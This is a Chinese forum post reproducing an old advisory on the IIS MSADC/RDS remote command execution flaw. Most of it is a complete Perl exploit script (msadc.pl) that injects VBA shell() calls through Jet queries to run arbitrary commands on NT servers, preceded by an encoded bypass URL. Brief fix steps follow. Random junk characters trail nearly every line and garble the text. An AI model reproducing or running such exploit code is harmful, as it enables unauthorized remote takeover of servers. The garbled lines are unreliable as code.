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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) x/,(G~  
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涉及程序: 6< @F  
Microsoft NT server |\6Ff/O  
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描述: 6  5>}Q.p  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 I6.}r2?;A  
-0:Equ?pz  
详细: ;^9y#muk  
如果你没有时间读详细内容的话,就删除: 'FN+BvD  
c:\Program Files\Common Files\System\Msadc\msadcs.dll /6Olq6V  
有关的安全问题就没有了。 a~Nh6 x  
U^ Ulj/%6  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 `2PvE4]%p  
aZB$%#'vR  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 o@ W:PmKW  
关于利用ODBC远程漏洞的描述,请参看: ^rssZQKY[  
,!Q^"aOT:  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm  \>l DM  
]mdO3P  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ?CO..l  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp [a!*m<  
z!>ml3  
这里不再论述。 Rr"D)|Y;C(  
:WHbwu,L$  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: `ZZq Sc4  
5sI9GC  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset #{x4s?   
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! fYUbr"Oe  
I`4k5KB;  
-H9WwFk  
#将下面这段保存为txt文件,然后: "perl -x 文件名" u7}C):@H  
a1 .+L  
#!perl LR Dj!{k{  
# ' i<}/l  
# MSADC/RDS 'usage' (aka exploit) script +p):   
# !bQqzny$R  
# by rain.forest.puppy CA5q(ID_  
# X3l? YA  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me %h "%G=:  
# beta test and find errors! Y2>0Y3yM  
.XPPd?R  
use Socket; use Getopt::Std; c(r8 F[4w  
getopts("e:vd:h:XR", \%args); }/g1s71  
y vo4 .u  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Xot2L{EIUE  
^gdv:[ m  
if (!defined $args{h} && !defined $args{R}) { 7 ?a!x$-U(  
print qq~ bXRSKp[$  
Usage: msadc.pl -h <host> { -d <delay> -X -v } (bD'SWE  
-h <host> = host you want to scan (ip or domain) vR?E'K3  
-d <seconds> = delay between calls, default 1 second Bl*.N9*  
-X = dump Index Server path table, if available w i=&W  
-v = verbose 1qd(3A41  
-e = external dictionary file for step 5 d6+{^v$#  
5~\GAjf  
Or a -R will resume a command session [E6ZmMB&  
A`ScAzx5{  
~; exit;} #5=!ew  
WN3]xw3  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 4$MV]ldUI  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ,@r 0-gL  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Wk-jaz  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); NW`L6wgl  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} SeIL   
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 7xoq:oP-}N  
K} TSwY  
if (!defined $args{R}){ $ret = &has_msadc; 9f_Qs4  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} qJYEsI2M  
`z~L0h  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" r(DW,xoK0  
. "cmd /c "; `PI?RU[g*  
$in=<STDIN>; chomp $in; y.+!+4Mg|  
$command="cmd /c " . $in ; DE!P[$J  
|eEXCn3{  
if (defined $args{R}) {&load; exit;} f/3rcYR;y  
zsmlXyP'e!  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 1y7FvD~v  
&try_btcustmr; jzAXC^FS  
M:d} P  
print "\nStep 2: Trying to make our own DSN..."; =v49[i  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";  MKZq*  
1}"Prx-  
print "\nStep 3: Trying known DSNs..."; Bl/Z _@  
&known_dsn; RAAu3QKu  
NNn sq@?6  
print "\nStep 4: Trying known .mdbs..."; 5[|ZceY  
&known_mdb; 'NSfGC%7R  
u?lbC9}$  
if (defined $args{e}){ 5 ]l8l+  
print "\nStep 5: Trying dictionary of DSN names..."; z\+Ug9Of  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } (;cvLop  
U]64HuL  
print "Sorry Charley...maybe next time?\n"; h$$2(!G4  
exit; H rI(uZ]  
`<IaQY  
############################################################################## 5"2pU{xmK  
'-M9v3itC  
sub sendraw { # ripped and modded from whisker yLEA bd%+  
sleep($delay); # it's a DoS on the server! At least on mine... Pm== m9  
my ($pstr)=@_; zp:EssO=Q  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || !A'3Mw\Nm  
die("Socket problems\n"); f=T&$tZ<  
if(connect(S,pack "SnA4x8",2,80,$target)){ pz,iQUs _o  
select(S); $|=1; ?C*}NM  
print $pstr; my @in=<S>;  wjfc9z  
select(STDOUT); close(S); T/iZ"\(~w  
return @in; )kvrQ6  
} else { die("Can't connect...\n"); }} |ohCA&k%;  
v9XevLs  
############################################################################## Z^6qxZJ7  
gRg8D{  
sub make_header { # make the HTTP request lnv&fu`1P  
my $msadc=<<EOT @Jc^ur  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ^17i98w  
User-Agent: ACTIVEDATA "V{v*Aei0  
Host: $ip 3B?7h/f  
Content-Length: $clen h4N&Yb fo  
Connection: Keep-Alive L)9uBdF  
jYE ?wc+FT  
ADCClientVersion:01.06 #@}wl  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 L-VisZ-FK  
OTD<3Q q  
--!ADM!ROX!YOUR!WORLD! &Rt^G  
Content-Type: application/x-varg Q(/F7 "m  
Content-Length: $reqlen  [1g   
xaNM?]%  
EOT ; ~#uH7k  
; $msadc=~s/\n/\r\n/g; Dn@Sjsj>  
return $msadc;} i9v|*ZM"  
wPl9%  
############################################################################## O]80";Uv  
QS%t:,0lp  
sub make_req { # make the RDS request XU6SYC"t%~  
my ($switch, $p1, $p2)=@_; 'pC51}[A{^  
my $req=""; my $t1, $t2, $query, $dsn; CSlPrx2\  
,d7o/8u  
if ($switch==1){ # this is the btcustmr.mdb query O7z5,-  
$query="Select * from Customers where City=" . make_shell(); )uC5  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ,$bK)|pGV  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} wG X\ub#!  
Mu/hTTiNx  
elsif ($switch==2){ # this is general make table query .05x=28n%  
$query="create table AZZ (B int, C varchar(10))"; DsH#?h<-o  
$dsn="$p1";} 5E0dX3-  
\T {<{<n  
elsif ($switch==3){ # this is general exploit table query jO}<W1qy  
$query="select * from AZZ where C=" . make_shell(); cXbQ  
$dsn="$p1";} >Do P2]  
_[,7DA.qc  
elsif ($switch==4){ # attempt to hork file info from index server xP $\ }  
$query="select path from scope()"; 1ZO/R%[  
$dsn="Provider=MSIDXS;";} RuWu#tk  
Mi047-% (  
elsif ($switch==5){ # bad query nTCwLnX(O  
$query="select"; qL~|bfN  
$dsn="$p1";} . H9a  
b}J,&eYD  
$t1= make_unicode($query); jf=\\*64r4  
$t2= make_unicode($dsn); E(Zm6~  
$req = "\x02\x00\x03\x00"; 'wVi>{?  
$req.= "\x08\x00" . pack ("S1", length($t1)); t)hi j&wzu  
$req.= "\x00\x00" . $t1 ; wVkRrFJ  
$req.= "\x08\x00" . pack ("S1", length($t2)); \?"p]&2UcB  
$req.= "\x00\x00" . $t2 ; qKk|2ecTB5  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; + I4s0  
return $req;} MS;^@>|wj  
F?XiP.`DR  
############################################################################## U:uF rb,  
a]@BS6  
sub make_shell { # this makes the shell() statement fr<V])  
return "'|shell(\"$command\")|'";} F.-:4m(Z  
^1;Eq>u  
############################################################################## ,P^4??' o  
r>g5_"FL  
sub make_unicode { # quick little function to convert to unicode U U@  
my ($in)=@_; my $out; b)7v-1N  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } (W5JVk_o  
return $out;} 3M5wF6nY[[  
 I}u&iV`  
############################################################################## Y'76!Y  
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sub rdo_success { # checks for RDO return success (this is kludge) oW3|b2D  
my (@in) = @_; my $base=content_start(@in); m-lTXA(  
if($in[$base]=~/multipart\/mixed/){ <v3pI!)x  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 1@xdzKua1  
return 0;} zo:NE0 0  
o<Qt<*  
############################################################################## J*t_r-z  
>*WT[UU  
sub make_dsn { # this makes a DSN for us Z+2 j(  
my @drives=("c","d","e","f"); B!((N{4H+  
print "\nMaking DSN: "; "mc ]^ O  
foreach $drive (@drives) { Or :P*l  
print "$drive: ";  }A&I@2d  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . %PC8}++  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" nIGElt]  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); @|<qTci  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; _&aPF/  
return 0 if $2 eq "404"; # not found/doesn't exist h6Cqc}P  
if($2 eq "200") { uLSuY}K0  
foreach $line (@results) { 5=/j  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} tv%B=E!r  
} return 0;} #3_ @aq*  
d[oHjWk  
############################################################################## ~8U0(n:^  
pyp0SGCM:  
sub verify_exists { q_Z6s5O  
my ($page)=@_; #,9#x]U#v  
my @results=sendraw("GET $page HTTP/1.0\n\n"); qm< mw"]  
return $results[0];} xM![  
6 tl#AJ-  
############################################################################## %|'VucLx  
k,-0OoCL-!  
sub try_btcustmr { Z u/w>  
my @drives=("c","d","e","f"); sBLOrbo  
my @dirs=("winnt","winnt35","winnt351","win","windows"); vGwpDu\RgX  
+P<#6<gR  
foreach $dir (@dirs) { 8~AL+*hn  
print "$dir -> "; # fun status so you can see progress MzE1he1  
foreach $drive (@drives) { t]E@AJO K  
print "$drive: "; # ditto =s&ycc;-5}  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; F8|m i`f-  
$reqlenlen=length( "$reqlen" ); /xCX. C  
$clen= 206 + $reqlenlen + $reqlen; P DwBSj  
a"^rOiXR{  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); CIj7' V  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ]A:8x`z#F  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}  ^w_\D?  
=3EjD;2  
############################################################################## 395`Wkv  
Q096M 0m  
sub odbc_error { f /t`B^}@  
my (@in)=@_; my $base; )j. .)o  
my $base = content_start(@in); pd-I^Q3-  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this c^stfFE&  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; >Q:h0b_$U  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; K9ek  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; q^h/64F  
return $in[$base+4].$in[$base+5].$in[$base+6];} 7G%:ckg  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; sQn@:Gk  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . =3dd1n;8>  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ANTWWs}  
7m8(8$-6  
############################################################################## r?/!VO-*N  
OO\$'% y`  
sub verbose { d ;i@9+  
my ($in)=@_; & l0LW,Bx  
return if !$verbose; ~l]g4iEp  
print STDOUT "\n$in\n";} b8!   
3 Scc"9]  
############################################################################## slaH2}$xR  
cp6I]#X  
sub save { \- 8aTF  
my ($p1, $p2, $p3, $p4)=@_; (wf3HEb_  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; j<)`|?@e(  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; *W2o$_Hs  
close OUT;} c$x >6&&L  
%DM0Z8P$B-  
############################################################################## 8`_tnARIX  
QW_BT ^d"  
sub load { 49YN@ PXC  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; $e:bDZ(hjj  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); #I\" 'n5M  
@p=<IN>; close(IN); V3ExS1fNf  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); <==6fc>s  
$target= inet_aton($ip) || die("inet_aton problems"); zbjV>5  
print "Resuming to $ip ..."; nH B  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ?}#Iu-IA  
if($p[1]==1) { y-{?0mLq  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ?in)kL  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; CZf38$6X  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Z1.v%"/(  
if (rdo_success(@results)){print "Success!\n";} lIPz "  
else { print "failed\n"; verbose(odbc_error(@results));}} EI496bsRHm  
elsif ($p[1]==3){ jZ''0Lclpc  
if(run_query("$p[3]")){ ;,s9jw  
print "Success!\n";} else { print "failed\n"; }} hii#kB2  
elsif ($p[1]==4){ dSe d 6  
if(run_query($drvst . "$p[3]")){ Mbn;~tY>  
print "Success!\n"; } else { print "failed\n"; }} z0Z1J8Qq6.  
exit;} @2;cv?i)  
i8S=uJ]n  
############################################################################## t%StBq(q  
y9.?5#aL  
sub create_table { a'A<'(yv  
my ($in)=@_; D@kf^1G  
$reqlen=length( make_req(2,$in,"") ) - 28; !+]KxB   
$reqlenlen=length( "$reqlen" ); eJeL{`NS  
$clen= 206 + $reqlenlen + $reqlen; sKk+^.K}|  
my @results=sendraw(make_header() . make_req(2,$in,"")); *K BaKS  
return 1 if rdo_success(@results); =}YX I  
my $temp= odbc_error(@results); verbose($temp); !j}L-1*{ l  
return 1 if $temp=~/Table 'AZZ' already exists/; j4u ["O3  
return 0;} )S;3WnQ)  
d{"@<0i?  
############################################################################## '_5|9 }  
RT${7=  
sub known_dsn { F x^X(!)~]  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go >dgz/n?:v  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", v]Aop<KLX  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", PkLNIp1  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); J 5xMA-  
 tq?a3  
foreach $dSn (@dsns) { ]LEaoOecu  
print "."; J57; X=M  
next if (!is_access("DSN=$dSn")); 20}w . V  
if(create_table("DSN=$dSn")){ sPXjU5uq#  
print "$dSn successful\n"; }9&dY!h +  
if(run_query("DSN=$dSn")){ Vf<q-3q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ;e< TEs  
print "Something's borked. Use verbose next time\n";}}} print "\n";} %NM={X|'  
ci/qm\JI<<  
############################################################################## D$@2H>.-  
3_`)QYU'  
sub is_access { \0vs93>?  
my ($in)=@_; !qU1RdZ  
$reqlen=length( make_req(5,$in,"") ) - 28; N9*:]a  
$reqlenlen=length( "$reqlen" ); U`5/tNx  
$clen= 206 + $reqlenlen + $reqlen; \>G}DGz  
my @results=sendraw(make_header() . make_req(5,$in,"")); t#3 _M=L  
my $temp= odbc_error(@results); `5!AHQ/  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); fI1 9p Q  
return 0;} $/|vbe,  
g>k?03;  
############################################################################## w*&vH/D  
Y B,c=Wx  
sub run_query { FBbaLqgVF{  
my ($in)=@_; ~Z!YB,)bp  
$reqlen=length( make_req(3,$in,"") ) - 28; <fF|AbC:  
$reqlenlen=length( "$reqlen" ); noM=8C&U  
$clen= 206 + $reqlenlen + $reqlen; H:XPl$;  
my @results=sendraw(make_header() . make_req(3,$in,"")); [YZgQ  
return 1 if rdo_success(@results); !0vLSF=  
my $temp= odbc_error(@results); verbose($temp); %V+"i_{m  
return 0;} :HwdXhA6  
;<_a ,5\Q  
############################################################################## P$Oj3HD LM  
}2iR=$2  
sub known_mdb { E AZX  
my @drives=("c","d","e","f","g"); e<*qaUI  
my @dirs=("winnt","winnt35","winnt351","win","windows"); jU* D  
my $dir, $drive, $mdb; ?5/7 @V  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; /sj*@HF=  
Cs y,3XG  
# this is sparse, because I don't know of many IN.g  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Q J-|zS.W  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ?c+$9  
"\\system32\\certmdb.mdb", *8po0s  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% >]_^iD]*t  
:0QDV~bs  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", T\g+w\N  
"\\cfusion\\cfapps\\forums\\forums_.mdb", CWocb=E  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 3u&,3:  
"\\cfusion\\cfapps\\security\\realm_.mdb", AI Kz]J0;  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", |xg_z&dX  
"\\cfusion\\database\\cfexamples.mdb", iy_Y!wZ{  
"\\cfusion\\database\\cfsnippets.mdb", Pq8oK'z -  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", "j8)l4}  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ,B_c  
"\\cfusion\\brighttiger\\database\\cleam.mdb", OM{^F=Ap  
"\\cfusion\\database\\smpolicy.mdb", n:2._s T  
"\\cfusion\\database\cypress.mdb", {L ~d ER  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", "|[9 Q?  
"\\website\\cgi-win\\dbsample.mdb", P/.<sr=2  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 5bAdF'~  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" &$ "J\v m  
); #these are just ^X}r ^  
foreach $drive (@drives) { ^L)TfI_n  
foreach $dir (@dirs){ T&+3Xi:  
foreach $mdb (@sysmdbs) { 6@t&  
print "."; 2QM{e!9  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ FO%pdLs,  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; s\pukpf@  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ p6K~b  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ?|+e*{4k  
} else { print "Something's borked. Use verbose next time\n"; }}}}} K@{0]6  
$#p5BQQ|  
foreach $drive (@drives) { 6<$.Z-,  
foreach $mdb (@mdbs) { oBo*<6  
print "."; {it}\[3  
if(create_table($drv . $drive . $dir . $mdb)){ p:5NMo  
print "\n" . $drive . $dir . $mdb . " successful\n"; s1[&WDedM  
if(run_query($drv . $drive . $dir . $mdb)){ NjpWK ;L  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; kfZ`|w@q  
} else { print "Something's borked. Use verbose next time\n"; }}}} ybw\^t  
} Yj/ o17  
",D!8>=s  
############################################################################## DXI4DM"15I  
8FMxn{k2  
sub hork_idx { EJ#I7_  
print "\nAttempting to dump Index Server tables...\n"; q,O_y<uw  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 4\u`M R  
$reqlen=length( make_req(4,"","") ) - 28; rDhQ3iCqo  
$reqlenlen=length( "$reqlen" ); lZL+j6Q  
$clen= 206 + $reqlenlen + $reqlen; (${ #l  
my @results=sendraw2(make_header() . make_req(4,"","")); &K[sb%  
if (rdo_success(@results)){ *$BUow/>  
my $max=@results; my $c; my %d; [n)ak)_/  
for($c=19; $c<$max; $c++){ cx$h"  
$results[$c]=~s/\x00//g; *X/Vt$P  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; GEF's#YWK  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; j?m(l,YD|*  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; yRyXlZC  
$d{"$1$2"}="";} vj%"x/TP  
foreach $c (keys %d){ print "$c\n"; } #e-K It  
} else {print "Index server doesn't seem to be installed.\n"; }} QK[^G6TI  
i.uyfV&F  
############################################################################## q i yK  
O>qlWPht  
sub dsn_dict { 41<h|WA  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); z$R&u=J  
while(<IN>){ ;mQ|+|F6X  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; * 3fl}l  
next if (!is_access("DSN=$dSn")); B qX"La,  
if(create_table("DSN=$dSn")){ I3Z?xsa@Z  
print "$dSn successful\n"; $<nRW*d  
if(run_query("DSN=$dSn")){ %W\NYSm  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { hmo4H3g!N  
print "Something's borked. Use verbose next time\n";}}} L%/>Le}VX  
print "\n"; close(IN);} W+1nf:AI.  
tjwf;g}$  
############################################################################## %xCL&}bY  
SNOc1c<~  
sub sendraw2 { # ripped and modded from whisker rIPfO'T?  
sleep($delay); # it's a DoS on the server! At least on mine... <q$Tk,  
my ($pstr)=@_; 7HH@7vpJ^  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || E> GmFw  
die("Socket problems\n"); <b,WxR`  
if(connect(S,pack "SnA4x8",2,80,$target)){ 2PyuM=(Wt  
print "Connected. Getting data"; 4"kc(J`c  
open(OUT,">raw.out"); my @in; t2)uJN`a$X  
select(S); $|=1; print $pstr; f?tU5EX  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Rf8Obk<  
close(OUT); select(STDOUT); close(S); return @in; W9Azp8)p]  
} else { die("Can't connect...\n"); }} lf>d{zd5  
9e K~g0m  
############################################################################## \ YF@r7  
4;J.$  
sub content_start { # this will take in the server headers >~Zj  
my (@in)=@_; my $c; X}(X\rp  
for ($c=1;$c<500;$c++) { [-VH%OM  
if($in[$c] =~/^\x0d\x0a/){ j!i* &  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 8xAIn>,_  
else { return $c+1; }}} oQ r.cKD ?  
return -1;} # it should never get here actually STjb2t,a  
%C,zR&]F  
############################################################################## J{dO0!7y  
xjbI1qCfe  
sub funky { 9 nc_$H{  
my (@in)=@_; my $error=odbc_error(@in); .:}<4;Qz94  
if($error=~/ADO could not find the specified provider/){ Yq00<kIDJ  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; S1^/W-yoc~  
exit;} r+ 8Tp|%  
if($error=~/A Handler is required/){ Db|JR  
print "\nServer has custom handler filters (they most likely are patched)\n"; WUie `p  
exit;} DCiU?u~  
if($error=~/specified Handler has denied Access/){ Zqm%qm:  
print "\nServer has custom handler filters (they most likely are patched)\n"; X5/j8=G H`  
exit;}} 'uL$j=vB  
yg'CL/P  
############################################################################## gPB=Z!  
l hYJectJa  
sub has_msadc { * cW%Q@lit  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 9ns( F:  
my $base=content_start(@results); z_xy*Iif  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); rBmW%Gv  
return 0;} ty['yV-;a  
1$E[`` n  
######################## c Q-#]  
]I,&Bme  
seK;TQ3/7  
解决方案: =@4 ,szLO  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll h )Y .jY  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 I/St=-;  
],!}&#|  
拿出来充数 哈哈
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